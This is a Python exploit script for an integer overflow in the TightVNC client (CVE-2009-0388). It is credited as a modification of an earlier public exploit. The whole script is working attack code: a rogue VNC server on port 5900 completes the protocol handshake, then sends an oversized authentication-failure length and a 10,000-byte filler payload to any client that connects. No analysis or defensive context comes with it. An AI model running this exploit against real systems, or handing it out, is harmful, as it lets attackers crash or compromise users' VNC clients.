TightVNC Integer Overflow

                #!/usr/bin/env python

#digital.desi@in.com

# Modified  Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388

import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
    clientsocket, clientaddres = serversocket.accept()
    
    data = 'RFB 003.008\n'
    clientsocket.sendall(data)

    data_cli = clientsocket.recv(1024)
    print data_cli

    data = '\x02\x02\x10'
    clientsocket.sendall(data)

    data_cli = clientsocket.recv(1024)

    data = '\x00'*4
    clientsocket.sendall(data)

    data = ('\x00'*3)+'\x01'
    clientsocket.sendall(data)

    data = ('\x00'*3)+'\x02STDVVNCAUTH_'
    clientsocket.sendall(data)

    data_cli = clientsocket.recv(1024)

    data = ('\x01'*16)
    clientsocket.sendall(data)

    data_cli = clientsocket.recv(1024)
    
    data = '\x00\x00\x00\x01'
    clientsocket.sendall(data)

    data = '\xf0\xff\xff\xff'
    clientsocket.sendall(data)

    data = 'A'*10000
    clientsocket.sendall(data)

clientsocket.close()
serversocket.close()


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